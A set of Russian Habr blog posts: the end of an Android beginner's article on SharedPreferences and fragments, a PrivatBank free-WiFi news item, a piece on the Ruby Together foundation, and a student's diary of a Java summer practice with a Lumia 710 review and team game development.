Эта проблема связана с сохранением данных. Сначала я находил решения связанные с созданием баз данных, но это для меня было чем-то страшным. Я искал вариант проще. Наконец набрёл в официальной документации на класс SharedPreferences. С помощью него очень легко сохранять данные. Рассмотрим на примере сохранение времени.
**SaveObjectRating**
```
public final class SaveObjectRating {
private Date[] convertedTime;
private SharedPreferences sharedPref;
private long[] time;
SaveObjectRating(Context context) {
time = new long[10];
convertedTime = new Date[10];
sharedPref = context.getSharedPreferences("RatFile", MODE_PRIVATE);
load();
}
public Date[] getConvertedTime() {
return convertedTime;
}
public void setNewTimeOnIndex(long a, int index) {
if (a < time[index] && a != 0) {
time[index] = a;
}
}
//метод сохранения данных
public void save() {
SharedPreferences.Editor editor = sharedPref.edit();
for (int i = 0; i < 10; i++) {
editor.putLong("key" + i, time[i]);
}
editor.apply();
}
//метод загрузки данных из хранилища
private void load() {
for (int i = 0; i < 10; i++) {
time[i] = sharedPref.getLong("key" + i, 3599);
}
}
//Метод преобразования
void createConvertedTime() {
for (int i = 0; i < 10; i++) {
convertedTime[i] = new Date();
long min = time[i] / 60;
long sec = time[i] % 60;
convertedTime[i].setMinutes((int) min);
convertedTime[i].setSeconds((int) sec);
}
}
}
```
Данный класс используется для сохранения потраченного игроком времени на прохождение уровня. При создании объектов этого класса в них будут уже загруженные данные, потому что в конструкторе класса вызывается метод load().
Новое потраченное время можно задать методом:
```
setNewTimeOnIndex(long a, int index)
```
Он изменяет данные только в том случае, если пользователь потратил на прохождение меньше времени.Чтобы сохранить данные нужно вызвать метод save().
И проблема сохранения данных решена без создания баз данных.
### Проблема 3
Всё начиналось с много-экранных приложений. Экраны нужно менять, но как. Первое решение которым я долгое время пользовался — это создание для каждого экрана своей активности. Если бы у меня был мощный телефон, как у моего друга, я бы даже не заметил минусов этого решения, но это не так. При переходе на другой экран создавалась ещё одна активность и визуально на слабом телефоне это очень заметно. После осмысления я наконец понял, что активности не самый лучший вариант для переходов между экранами приложения. Нужно было использовать фрагменты. Это даёт нормальный визуальный эффект — совсем не заметно смены экрана.
### Проблема 4
Наверное самая сложная проблема, потому что до сих пор каким бы решение я не пользовался приходится ставить куда-нибудь костыль, заключается в том, чтобы реализовать определение текущего фрагмента. Первое, что пришло мне в голову — это использовать статическую переменную. Как вариант сойдёт, но если фрагментов будет очень много, то создаются огромные выборки статической переменной и начитаешь путаться, какое значение отвечает за какой фрагмент. Следующий вариант — это определять на каком мы сейчас фрагменте через его тип (использование ключевого слова языка программирования Java — instanceof). На первый взгляд должно работать, но не работает. Мне до конца так и не удалось разобраться почему это работает не так как надо. (оно работает, но с ошибками...)
Итак, я попробовал ещё один вариант — проверять какой фрагмент виден на экране. Работает так как надо, если использовать его вместе с статической переменной.
**MainActivity.class**
```
@Override
public void onBackPressed() {
System.out.println("MainActivity:onBackPressed()");
if (idTheCurrentFragment == 4) {
finish();
}
if (start.isVisible()) {
System.out.println("Вы нажали назад в главном меню приложения");
idTheCurrentFragment = -1;
finish();
} else if (game1vs1.isVisible() || gameCompany.isVisible()) {
confirmation(); //Метод создаёт диалоговое окно с выбором.
} else if (idTheCurrentFragment == -1) {
System.out.println("Вы нажали кнопку назад");
super.onBackPressed();
}
}
```
Задача состояла в том, чтобы при нажатии системной кнопки назад игрока спрашивали уверен ли он в том, что хочет покинуть игру. Если игрок соглашается, то вызывается метод экземпляра класса FragmentManager popBackStack("..."), статическая переменная выставлялась в значение 4, при котором при нажатии на кнопку ещё раз приложение завершает работу. Такое решение меня устроило, но было бы интересно как это можно сделать ещё лучше.
### Проблема 5
Проблема динамической смены фрагментов. К примеру, есть фрагмент А и при нажатии по кнопке, которая находится в размете этого фрагмента, должен открываться следующий экран, то есть фрагмент B. Я попробовал вариант — в классе активности создал обработчик событий нажатия на все кнопки в приложении. Во всей разметке я для всех кнопок указал в атрибуте android:onClick="..." созданный в активности обработчик событий. Для кнопок обязательно нужно указать id, чтобы обработчик понимал с какой кнопкой он имеет дело.
**Код обработчика**
```
public void onClick(View v) {
int id = v.getId();
switch (id) {
case R.id.exit: {
onBackPressed();
break;
}
case R.id.info: {
fm.beginTransaction().replace(R.id.fragment_container, infoFragment).addToBackStack(null).commit();
break;
}
case R.id.about_game: {
fm.beginTransaction().replace(R.id.fragment_container, aboutGameFragment).addToBackStack(null).commit();
break;
}
case R.id.about_authors: {
fm.beginTransaction().replace(R.id.fragment_container, aboutAuthorsFragment).addToBackStack(null).commit();
break;
}
}
```
Сами кнопки не создаются в java коде, только в xml. Да, да это работает. В активности есть экземпляр класса FragmentManager, чтобы выполнить транзакцию, то есть поменять текущий фрагмент.
Всё это хорошо, но я не знаю считается ли это правильным, поэтому от этого варианта я быстро отказался, постепенно убирая из выборки по нескольку значений, пока она совсем не опустела. Ещё один вариант, предлагаемый документацией Google — это через объект интерфейса, то есть фрагмент обрабатывает нажатие на свои кнопки и при нажатии создаётся объект интерфейса, который реализует активность таким образом:
```
SendingActivity message = (SendingActivity) getActivity();
message.send(''сообщение для активности'');
```
В реализации активностью этого интерфейса можно сделать switch — case, в котором уже определять какой фрагмент открывать дальше.
```
@Override
public void send(int a) {
switch (a) {
case 0: {
//Открываем фрагмент первого режима игры
break;
}
case 1: {
//Открываем фрагмент второго режима игры
break;
}
case 2: {
//Открываем фрагмент третьего режима игры
break;
}
case 3: {
//Открываем фрагмент четвёртого режима игр
break;
}
case 4: {
//Закрываем приложение(Кнопка выход)
finish();
break;
}
}
```
### Проблема 6
Это проблема осталась так не решённой. Я надеюсь найдутся какие-нибудь опытные разработчик, которые смогут поделиться своим опытом в комментариях. Дело в том, что часто бывает нужно импортировать свою картинки svg-формата в среду разработки, но делать по одной картинки очень долго, даже если натренироваться… История была такой, я мучился вставлял 80 картинок в среду разработки, а потом оказалось, что их нужно переделывать…
Заключение
----------
Молодцы те, кто дочитал до конца. Итак, я проделал длинный путь обхода этих проблем, чтобы на моих ошибках научились другие и поделился своим опытом с начинающими android-разработчиками. Для примеров я использовал написанных мною приложения. Вот ссылки на них:
[play.google.com/store/apps/details?id=com.thekingames.memorize](https://play.google.com/store/apps/details?id=com.thekingames.memorize)
[play.google.com/store/apps/details?id=com.thekingames.warrior](https://play.google.com/store/apps/details?id=com.thekingames.warrior)
Я надеюсь, что моя статья была для вас полезна. Всем удачи! | https://habr.com/ru/post/322116/ | null | ru | null |
# Приватбанк начинает разворичавать сеть бесплатного WiFi на Украине
Как заявил в подкасте на itc.ua **Александр Витязь**, руководитель «Центра Электронного Бизнеса» ПриватБанка с завтрашнего дня (20 октября) приватбанк начинает разворачивать сеть бесплатных вай-фай хотспотов на базе своих отделений и банкоматов на Украине
`К.: Александр, наше время, к сожалению ограничено. Нам пора заканчивать подкаст. Скажите, есть ли некая информация, которой Вы можете поделиться. Что будет проходить в ближайшее время? Чем ПриватБанк и Центр электронного бизнеса, в частности, порадует пользователей?
А: Есть очень хорошая новость. Говорю Вам первому. 20-го октября мы начинаем запуск WiFi сети всеукраинской на базе наших отделений. У нас очень интересный партнер западный и очень интересная концепция. WiFi этот будет бесплатный
К.: Т.е в каждой розничной точке ПриватБанка по Украине имеется ввиду?
А: Совершенно верно. Для начала 4 тыс наших отделений. В них будут излучать WiFi лучи вокруг. И вначале следующего года мы начнем подключать наши банкоматы, их 7 тыс штук. Т.е. я думаю, мы будем очень большой или самой большой сетью беспроводного бесплатного Интернета в нашей стране`
С самим подкастом можно ознакомится [тут](http://itc.ua/node/41478)
а с стенограммой подкаста — [тут](http://docs.google.com/Doc?docid=0ATlx9i4E-GuGZGNyM213OXZfNzFmazdid245Zg&hl=ru&pli=1)
P.S. в какой хабра-топик лучше запостить?
UPD: перенес в электронную комерцию… это самое близкое к приватбанку ;) | https://habr.com/ru/post/72806/ | null | ru | null |
# Ruby Together – фонд развития языка Ruby
Пару раз проскочив в условном Ruby Weekly, сайт инициативы Ruby Together не зацепил моего внимания, хотя должен был. Давайте разберемся, на что нам предлагают потратить свой трудовой доллар.
[Ruby Together](https://rubytogether.org/) — некоммерческая организация, занятая привлечением и распределением денег на развитие инфраструктуры языка Ruby. Уже сейчас под крылом организации находятся столпы экосистемы Ruby: гем [bundler](http://bundler.io), репозиторий [rubygems.org](https://rubygems.org) и сам проект [rubygems](https://github.com/rubygems/). Организация управляется [советом директоров](https://rubytogether.org/team), который состоит из хорошо знакомых всем рубистам имен: André Arko, Aaron Patterson ([интервью для хабра](http://habrahabr.ru/company/railsclub/blog/236041/)), Steve Klabnik ([интервью для хабра](http://habrahabr.ru/company/railsclub/blog/150734/), [«Как я нахожу время?»](http://habrahabr.ru/post/161713/)), Sarah Mei, Terence Lee, Ines Sombra, Joel Watson.
Индивидуальное членство в организации стоит $40 в месяц, корпоративное членство – $800. Взносы дают право голоса и ряд бонусов, о которых под катом. Для тех, кто просто хочет помочь проекту деньгами, существует статус «друга», без доступа к внутренним ресурсам и права голоса, с ежемесячным взносом $10, либо разовым взносом произвольной суммы. На текущий момент к проекту присоединились компании Stripe и Engine Yard, а также более 30 индивидуальных участников.
[Принять участие](https://rubytogether.org/join).
### Текущие задачи
У команды уже есть конкретные предложения о том как и куда направить деньги фонда. Должен признаться, перечень планов очень вдохновляет.
#### Новый формат индекса RubyGems
Подробно почитать о новом индексе можно здесь:
* [github.com/bundler/new-index](https://github.com/bundler/new-index)
* [blog.engineyard.com/2014/new-rubygems-index-format](https://blog.engineyard.com/2014/new-rubygems-index-format)
* [andre.arko.net/2014/03/28/the-new-rubygems-index-format](http://andre.arko.net/2014/03/28/the-new-rubygems-index-format/)
* [confreaks.tv/videos/rubyconf2013-extreme-makeover-rubygems-edition](http://confreaks.tv/videos/rubyconf2013-extreme-makeover-rubygems-edition)
#### Оптимизация API по разрешению зависимостей
Сейчас довольно часто возникают ситуации, когда по разным причинам API отвечает на ваш `bundle install` с большими задержками. Эту проблему планируют устранить, оптимизировав API под большие нагрузки.
#### Локальный кеш-сервер для гемов
Новый формат индекса позволит сильно упростить локальную работу с кешем гемов. Это даст возможность разработать простой в настройке кеш-сервер, который любая команда рубистов сможет поднять для собственных нужд.
#### The Update Framework
У RubyGems.org в последние годы несколько раз возникали серьезные проблемы с безопасностью. Команда Ruby Together планирует реализовать спецификацию The Update Framework для RubyGems.org, что защитит репозиторий от атак определенного спектра. Спецификации уже несколько лет. Есть реализации для python и go. Исчерпывающая информация есть на сайте:
* [theupdateframework.com](http://theupdateframework.com)
#### Механизм оповещения об уязвимостях
К сожалению, сейчас об уязвимостях в гемах каждый узнает по-своему. Кто из интерфейса New Relic, кто из рассылок, кто из блога Хомакова, а некоторые и вовсе не интересуются происходящим. Существование единого механизма сильно помогло бы сообществу.
#### Прочие усовершенствования
* Единый механизм разрешения зависимостей для Bundler / RubyGems / CocoaPods.
* Релиз Bundler 2.0.
* Система плагинов для Bundler.
* Сбор статистики по использованию RubyGems, ее анализ и отображение.
* Оповещение о существующих угрозах при установке уязвимых гемов.
### Что дает членство в Ruby Together?
Если на деньги от взносов будет реализована хотя бы часть того, о чем было сказано выше – это уже отличная инвестиция. Но, конечно, есть дополнительный профит:
* Ваше имя [будет упомянуто](https://rubytogether.org/members) на странице проекта.
* Вы получите инвайт в Slack-чат команды. Корпоративный взнос дает до пяти инвайтов.
* Вы получаете доступ ко всем текущим и будущим проектам Ruby Together.
* Логотип компании будет включен в презентации всех участников проекта на их публичных выступлениях.
* Вы получаете возможность голосовать на ежегодных выборах в «совет директоров».
Идея подобной инициативы не нова, вспомним тот же [gittip](http://habrahabr.ru/post/148402/) (ныне Gratipay), который работает на похожих механизмах (и поддерживает некоторые проекты из той же песочницы). Если посмотреть на [текущую статистику](https://gratipay.com/about/stats), можно увидеть довольно серьезные вливания. Так, почти за три года существования проект набрал 2 881 (из более чем 39 тысяч присоединившихся) активного участника, пропустив через себя $157 805.
Но на мой взгляд механизм работы Ruby Together выглядит гораздо взрослее и способен принести сообществу намного больше пользы. Деньги здесь пойдут на решение конкретных задач, которые можно уверенно называть приоритетными, в то время как Gratipay работает на личной симпатии пользователей к отдельным программистам или проектам, никак при этом не декларируя цели и не контроллируя их выполнение.
Нельзя забывать и о тщеславии рубистов, а также о прямой выгоде компаний от корпоративных взносов: Gratipay не предлагает корпоративной подписки и не ведет Hall of Fame, обезличивая все платежи. | https://habr.com/ru/post/253703/ | null | ru | null |
# Как в Магическом Электротехническом практика по Java прошла и немного про Lumia 710
Так уж получилось, что я стал победителем [конкурса от Microsoft](http://habrahabr.ru/special/microsoft/imaginecup/) и получил в качестве приза Nokia Lumia 710. После того, как на совместимость с мобильным IE были проверены все мои сайты, я подумал, что было бы неплохо протестировать уже сам смартфон в реальных условиях и написать обзор. Учебный год был закончен, и предстояла увлекательная летняя практика по Java, во время которой я и хотел протестировать смартфон… Но в результате, больше времени ушло на программирование игры, чем обзор нового смартфона.
#### Дисклаймер
Данный текст будет рассказывать мою историю с моей позиции. Рекомендуется к прочтению для отвлечения от серьёзных дел и в качестве таблеток реализма для абитуриентов.
#### Интерлюдия
Практика должна была занять период с 30 июня по 7 июля: курс лекций и выполнение практических заданий. Я уже работаю с Java и собирался во время практики немного систематизировать свои знания в добровольно-принудительном порядке. Я планировал описать каждый из дней практики, как проявил себя смартфон. После третьего дня я планировал обновить смартфон до 7.8, но жизнь внесла свои коррективы…
#### День первый
Он начался для меня несколько позже, чем для остальных. А всего-то хотел вспомнить разработку на Android вечером. Но как говорится, опоздание менее чем на академический час — не опоздание.
Меня встретила привычная аудитория и множество студентов, уже вкушающих прелести Java.
**Фото с места событий**[](http://http:https://habrastorage.org/getpro/habr/post_images/839/821/b27/839821b27d8b42c390e66eac1fd120e8.jpg)(Фото сделано на Lumia 710)
##### Итоги первой лекции
Конечно, первый день занятий после отдыха (сессии) не нёс фундаментальных знаний. Нам кратко рассказали об истории возникновении Java, областях применения; напомнили основные парадигмы ООП и особенности синтаксиса языка. Короче, день первым можно смело назвать «Введение в Java и очередной Hello World». Заодно нам рассказали о том, что практические занятия мы будем проходить под контролем практикующих аспирантов, коих нам представят в среду.
Жизнь жестока: хорошего не может быть много: лекция закончилась через три часа, вместо ожидаемых пяти. Но конечно, я не зря потратил эти три часа… (минус пятнадцать минут опоздания и пятнадцать минут перерыва).
##### Первые впечатления от Lumia
Знакомство с Люмией прошло не так гладко, как мне бы хотелось. Аппараты на WP я раньше видел лишь на картинках, но я надеялся, что опыт нескольких андроидфонов и симбиана мне помогут. Авторизировался в Люмии я уже давно, но всё что делал с ней до этого момента — это лишь сыграл в клона FlappyBird.
Чем же устройство меня порадовало на лекции? Прежде всего, я вошёл в Яндекс.Почту через стандартное приложение. Устройство адаптировано для российского потребителя, и можно было указать, что почта на Яндексе (видимо, лишив себя удовольствия вводить POP3 сервер) ~~легко~~ справившись с авторизацией (угадайте, нужно ввести в поле «имя пользователя» ваш логин на Яндексе или адрес электронной почты?) я был вынужден минут пятнадцать созерцать надпись «идёт синхронизация почты». К чести разработчиков, письма за последние две недели действительно загрузились на устройство. Оказавшись на «связи» (как я думал), настало время пошелудить Marketplace более подробно. Знаете, что пишут о Маркете? Вроде есть всё, а нет ничего. Я установил ещё пару тайм-киллеров (клон Doodle Jump и головоломку Portal Ball) и мессенджер ВК. С популяризацией html5 так сложилось, что количество standalone приложений на моих устройствах уменьшилось, но я постарался пробежаться по списку необходимых мне приложений. С ограниченным API WP7 на приложения типа [Llama](https://play.google.com/store/apps/details?id=com.kebab.Llama) надеяться не приходится, но SSH терминал я нашёл с лёгкостью, а вот BT терминал… ([ну вы знаете](http://habrahabr.ru/post/119691/#comment_3914754))
##### Мини-итог
И вот можно расходиться: смартфон разрядился до 20% (за три часа активного использования), про Java ничего нового я не услышал, набрал 10 очков в FlappyBat и обидел девушку молчанием из-за того, что после Android с его push-уведомлениями, проверка почты раз в час немного не подходит моему активному образу жизни. *Маша, прости за моё молчание, я правда не знал, как работает почта на WP*.
Немного сёрфинга не вызвали чувства отвращения: сайты открываются, JS выполняется и почти не зависает. Качество связи (кстати, в MarketPlace есть всевозможные SpeedTest) на уровне всех моих предыдущих аппаратов: толстые стены и количество активных пользователей мобильного интернета дают о себе знать: страницы грузятся, а вот скачивание приложений и видеороликов заставят взгрустнуть.
##### Лирическое отступление
После занятий я отправился в гости к своей сестре. Проходя по холлу, я заметил стенды для абитуриентов и на глаза мне попался…
**Флаер с краткой информацией о направлении Программная Инженерия**[](http://http:https://habrastorage.org/getpro/habr/post_images/cf5/824/cff/cf5824cff25df3bbcb0fa5242a72f113.jpg)(Фото сделано на Lumia 710)
Оказывается, я должен стать высококлассным специалистом, который много всего знает. Надеюсь, что предметы, связанные с вышеперечисленным, начнутся с третьего курса. Очень порадовала информация о том, кем работают выпускники направления (бакалавриату «Программная Инженерия» в ЛЭТИ всего пара лет и выпускников, как таковых, просто нет).
##### Немного про карты
Путь до сестры был неблизким, и я попытался воспользоваться стандартными картами. К чести производителей GPS чипа, где я — устройство определило сразу, а вот стандартные карты меня огорчили. Названия улиц, написанные транслитом, — серьёзно?
Но унывать было ещё рано: к моим услугам широко разрекламированные Карты Nokia. Названия улиц уже на русском, но вот общественный транспорт ещё нужно найти (это ведь «слой»), да и из самого транспорта только метро и трамваи. Как установить маршрут до точки, я так и не понял, а клик по точке на карте, вызывал крах приложения.
Но ведь ко мне на помощь спешит Гендальф в виде Marketplace и конница рохирр, представленная Яндекс.Картами. Кажется, что всё прекрасно, только вот без «пеших маршрутов», а значит и общественного транспорта.
Пришлось засунуть свой топографический кретинизм и тягу к геолокации куда подальше, просто доехав на метро, а не круто срезав на маршрутке. Пока я добирался (примерно сорок минут) аппарат окончательно разрядился от сёрфинга.
**Милая пара в метро**[](http://http:https://habrastorage.org/getpro/habr/post_images/3f1/ab1/c43/3f1ab1c434f4277c50d92ebfff49b2cf.jpg)(Фото сделано на Lumia 710) Меньше рабочего дня активного использования: очень непривычно после Android который вытяигавал два дня.
#### День второй
Во второй день нам рассказали о классах и интерфейсах, перечислили примитивные типы, базовые классы и самые полезные библиотеки, научили обработке исключений и разъяснили, что такое GC. Кажется, что я всё это знал, но послушать было действительно интересно. Никто даже не отвлекался от лектора.
**Фото с места событий**[](http://http:https://habrastorage.org/getpro/habr/post_images/b29/035/cc1/b29035cc12126c2c56f0ce6766cca0ac.jpg)(Фото сделано на Lumia 710)
А в перерыве, было обнаружено окно. Что не окно, а открытая дверь на крышу. Ну какой студент не пофотографируется на крыше? Я кстати, не фотографировался, а вот мои одногруппники подверглись там нападению сумасшедшего баклана.
**Фото с крыши университета**[](http://http:https://habrastorage.org/getpro/habr/post_images/293/5ec/78f/2935ec78f281fb54e407caa6f6bb396f.jpg)(Фото сделано НЕ на Lumia 710)
После лекции нас всех ждал сюрприз: теоретических занятий больше не будет, а через десяток минут нужно встретиться с аспирантом и определиться с практическими заданиями.
Вам слабо рассказать всю основу Java за пяток часов? Конечно, были даны книги и ссылки для домашнего чтения, но… Хотя если подумать, то «Общие принципы всех языков одинаковые, реальному программисту достаточно 4-5 дней на освоение нового языка».
Встреча с аспирантом было обычным знакомством: определили уровень знаний, назвали имена и email старосты.
Практика оказалась разделена на две части: реализация уже сделанной работы на Java и разработка нового проекта в команде, используя Git для синхронизации кода и Redmine для постановки задач.
Вскоре все правила были выложены в ВК, а староста любезно добавил ссылки для тех, кто не сталкивался до этого с Java.
**Скриншот из ВК**[](http://http:https://habrastorage.org/getpro/habr/post_images/4c6/783/5d9/4c67835d9536b34a4c0a7d5cfbd91b61.png)
#### Интерлюдия
Так уж получилось, что я в команде опытных студентов: один — уже работает java-программистом, а второй сдавал последний учебные год лабораторные по «Алгоритмам и Структурам данным» исключительно на Java, да и я с данным языком [уже сталкивался](http://habrahabr.ru/post/223057/).
#### День третий
И вот первый акт начался: сроки выставлены, бригады определены, а мастера фотошопа уже фотошопят…
**Скриншот из ВК**[](http://http:https://habrastorage.org/getpro/habr/post_images/5fa/ead/113/5faead1136d174be4038129be2e74b48.png)
А в моей команде тем временем кипят страсти. Что же нам спрограммировать эдакое? Что делать будем делать игру, решили сразу и почти единогласно. Но вот какую игру?
* Игра с телепортами, как [та, что на Нокии](http://www.windowsphone.com/ru-ru/store/app/portal-ball/0fe187ce-5bd3-4e20-823a-98e6cd438b76)
* Игра про странствующий электрон (я так и не понял, что это было)
* Космическая стрелялка с использованием веб камеры
Обсуждение было долгим, но в итоге мы решили делать мини-олдскул-хардкор-рпг. Я составил даже небольшой список плюсов этой идеи.
* Графику легко найти в сети
* Логичное разделение работы
* Каждый сможет взять себе задание по душе, когда основа готова (добавлять врагов с их AI, добавлять уровни, добавлять ловушки)
На том и порешили. Но тут начались проблемы…
#### Интерлюдия
Так уж случилось, что у каждого из нас был свой стиль программирования. Кто-то не терпел лишнюю трату места, (операторные скобки, когда только одно условие — для слабаков) но вы, если перед операторной скобкой нет пробела. Я ненавижу большое количество классов, а кто-то был готов создать по пакету, чтобы поместить в него «главный родительский класс», заодно используя в конструкторах ТОЛЬКО сеттеры. Стараясь здраво смотреть на вещи, я понимал, что учебный проект с вероятностью в 99% так и останется им: никакого прогресса после окончания обучения, минимум повторного использования кода. Но, когда вы уже год на работе трудитесь над одним проектом, вы будете готовы воскликнуть «только сначала надо написать фреймворк», ведь «ну как писать-то игру без фреймворка». К счастью, мир наступил: пишем, как каждый знает, затем кооперируемся и не произносим вслух слово «фреймворк».
#### День четвёртый
Пока мои одногруппники занимались первым заданием, я был поглощён идеей показать, что написать основу для игры не так уж и сложно. Тем более, что весь пример кода [был приведён на Хабре](http://habrahabr.ru/post/145433/).
~~*На самом деле весь день я проспал, а работать начал лишь вечером.*~~
За пару часов я подготовил демо:
* Управляемый игрок (ходьба + стрельба)
* Перемещающаяся камера
* Бот (перемещение до точки)
* Файрбол (бот с перемещением в одну точку)
* Менеджер ресурсов (загрузка и кэшировние тайлов)
* Рэндер (с поддержкой анимаций)
* Случайный генератор карты
**Список классов и скриншот демо**[](http://habrastorage.org/files/ede/bd5/34b/edebd534bb2947c9875f6ba5fbb4d063.png)
Демо мою команду немного вдохновило. Но, конечно, код им не понравился: я ведь писал набросок. Пришлось долго убеждать, что FireBall не должен быть наследником класса Unit. Закончил я к ночи, а утром уже была сдача первого задания (алгоритма на Java). Пришлось переделать демо РПГ под поиск пути волновым алгоритмом.
#### День пятый
Начался он для меня несколько поздно и оригинально. Программировать ночью хорошо, но только, если вы ставили будильник не на Nokia Lumia 710. Встречу с аспирантом я проспал, к счастью, работу можно было сдать удалённо, но пока…
Разбудил меня в стук дверь: моя команда решила, что раз поработать в университете не удалось, можно сделать это в общежитии, и пришли прямо ко мне в комнату.
Работа пошла на некотором стыке интересов: я предпочитаю создавать классы по мере надобности, а ребята начали создавать систему классов под запас. К счастью, то, что я снова уснул, слегка уменьшило моё недовольство.
Когда я снова очнулся, перед нами встала группа проблем:
* Определиться, что заказать из еды
* Убедить IntelliJ IDEA работать с папкой проекта, что находится на FTP
* Найти компромисс в форматировании кода и количестве классов
С едой мы разобрались быстро: благо, в Питере подобных служб навалом.
**Лайфхак**Если вы подружитесь с ДПС около вашего жилья, то есть шанс получать еду бесплатно.
IntelliJ IDEA мы, возможно, и одолели бы, но время было дорого. Поэтому пришлось быстро настроить Git и приступить к работе.
Пункт третий — извечная проблема для многих команд, мы компромисс нашли, чего и Вам желаем.
Другие команды тоже не сидели без дела и заваливали аспиранта вопросами.
**Скриншот из ВК**[](http://http:https://habrastorage.org/getpro/habr/post_images/73d/e29/0b1/73de290b1b84dd5f6a00a43da3cca569.png)
Мы работали параллельно: парни переписывали мой код по своим понятиям, а я разъяснял некоторые моменты и подсказывал фундамент для будущего функционала.
В процессе нам даже пришлось переместиться в более комфортную комнату.
**Фото с места событий**[](http://habrastorage.org/files/46c/127/762/46c1277622a742e7b0ea7151f92764cc.png)
Процесс адаптации моего кода был не лёгким. К счастью, еда и общажный котик поддерживали наши силы до самого вечера. А прекрасная живая музыка не давала моему желанию убить всех вырваться на волю.
##### Итоги дня
Ближе к ночи, мы приблизились к демке, что я написал:
* Рендер мира
* Менеджер ресурсов
* Управляемый игрок
* Поддержка анимаций
Но имели удобную и гибкую систему классов и более-менее целостное представление того, что мы хотим получить.
#### Интерлюдия
Сейчас, глядя на этот день, я понимаю, что нам нужно было написать диздок и определиться в терминологии (спрайты, тайлы...). В последствии я слегка удивился, когда узнал, что «Тайл-класс» — это клетка карты, в которую помещаются другие объекты, а «Тайл-перечисление» — одна квадратная картинка.
#### День шестой
Так, как Вконтакте имел много отвлекающих факторов, а электронная почта несколько устарела, для общения внутри команды был выбран Slack: мгновенные сообщения, удобный мобильный клиент, поддержка уведомлений в Chromium Based браузерах, интеграция с Git и другими сервисами (Drobox и т.п.).
Шестой день встретил меня умениями (файрбол и лечение) и Logger’ом, который красиво уведомлял при изменении жизней. Умения умениями, только вот мне не очень понравилась анимации. Пришлось фотошопить и гуглить.
**Графика умений**
Заодно, подобрал новый [набор графики для окружения](https://github.com/aivel/RPG/blob/b43a31ca9a7127d93662b44183f9e88de7c4b017/Game/src/assets/graphics/_3.png) (из RPG Macker XP) и [игрока](https://github.com/aivel/RPG/blob/b43a31ca9a7127d93662b44183f9e88de7c4b017/Game/src/assets/graphics/_1.png) (оттуда же).
И тут я подумал: AI писать долго, а игре нужна минимальная играбельность для демонстрации наработанного. Да и нужно как-то выделить игру на фоне конкурентов. Вы давно видели игры со старым добрым разделением экрана, да ещё RPG? Я давно. Для начала я просто добавил второго игрока. После этого я обнаружил ошибку в расчёте координат для рендера (неверно рассчитывалось смещение объектов с учётом того, что Игрок 1 всегда был в центре).
Когда делаешь, что-то интересное время, течёт очень быстро: с удивлением для себя я обнаружил, что времени пять утра. Через пару часов нужно было выходить в университет на очередную встречу с аспирантом…
#### День шестой
В этот день никто не представлял нашу команду в университете: один одногруппник, как и я, проспал, а второй был на работе. А зря: Аспирант раздал много ценных указаний на основе уже проделанной работы. Конечно, указания были продублированы для проспавшей общественности.
**Скриншот из ВК**[](http://http:https://habrastorage.org/getpro/habr/post_images/6cc/799/744/6cc79974454f581f70a7e4a2ec5db8da.png)
Зато, мы хорошо выспались и с новыми силами приступили к работе над проектом.
Для начала был добавлен класс камеры для упрощения рендера. Он, правда, ничего не делал, но был…
Но самым важным стала возможность перемещаться по пикселям, а не клеткам карты. Таким образом, мы слегка «обновили» стиль игры. Из-за этого пришлось переписать множество методов: физики, рендера, определения столкновений… Конечно, это вызвало и ошибки. Раньше файрбол создавался на клетке от игрока, теперь стал появляться на пикселе от игрока и взрывался об него. Эдакий изящный способ самоубиться. А чего стоили столкновения с самим собой (перемещение в рамках одной клетки на пиксель и проверка её на занятость)!
#### Интерлюдия
Конечно, чтобы мы совсем не загрустили, товарищ староста репостил в группу забавные картинки про Java.
**Скриншот из ВК**[](http://http:https://habrastorage.org/getpro/habr/post_images/832/931/ffc/832931ffcf0f92c168a9fb229eaea487.png)
#### День седьмой
Вновь у нас появились разногласия. И если методы восьмой Java мы просто реализовали в отдельном пакете, чтобы каждый мог сидеть со своей версией JVM, то с видением логики возникли проблемы…
##### Преткновение два
Такой уж у меня характер, что с того момента, как я начал писать на Java я пароноидально боялся утечек памяти, раз за разом [перечитывая статьи на Хабре](http://habrahabr.ru/search/?q=java+утечка), если добавить к этому неприязнь «Класс ради классов», то можно понять, как я отнёсся к кастомному классу точки. Ну точка и точка, но место применения… Point представляла собой координаты (x, y) и использовалась только в одном месте: для определения положения объекта (в том числе и тайла) при рендере. Я просто взвыл: рендер происходит ~60 раз за секунду, один рендер затрагивает ~6400 клеток, для рендера одной точки создавалось новая Point.
`60 * 6400 = 384000`
Пара сотен тысяч объёктов в секунду, которые будут задействованы только раз. Конечно, для GC это небольшая помеха, но почему бы просто не использовать два int, в любом случае работа с кучей будет быстрее. Проблема разрешилась введением пула объектов.
##### Преткновение три
Следующим камнем преткновения стало изменение системы карты.
Я представлял это так:
* Двумерный массив с объектами фонами, стен
* Лист статичных объектов (декалей) типа цветочков или всяких камней
* Лист статичных объектов 2 (декалей, что НАД игроками) типа арок или потолков
* Лист динамичных объектов типа игроки, боты
Сначала мы рендерим фон (возможно, даже кэшируя), затем статические объекты, затем статичные объекты, затем статичные объекты, что над динамическими.
Конечно, для такой системы необходимо было бы отсортировать объекты по Y (те объекты, у кого Y меньше оказываются под теми, у кого он больше).
**Небольшой пример**[](http://http:https://habrastorage.org/getpro/habr/post_images/362/4d0/17f/3624d017f08abcebeb5e9dd56794fd8e.png)
Мой одногрупник заменил эту системы на двумерный массив стеков. Это давало гибкость в количество слоёв рендера (сколько угодно слоёв декалей), но создавало проблемы при рендере динамических объектов (как определить, что нужно отрисовать под игроком, а что над?). А если вспомнить реалии нашего проекта, то получится что в стеке хранится только один элемент. Опять же лишняя, на мой взгляд, нагрузка: пробег по 6400 стекам только для рендера одного кадра, да и проблема с динамическими объектами проблема не была решена… Сошлись на том, что стеки оставим, но в остальном будем следовать моему представлению.
##### Преткновение четыре
Это было, наверное, наше самое крупное разногласие во время работы над проектом. Так я представлял игровой цикл:
```
Вечный цикл{
int a = текущее время();
игровая логика();
сон потока на (N - текущее время() - а);
}
```
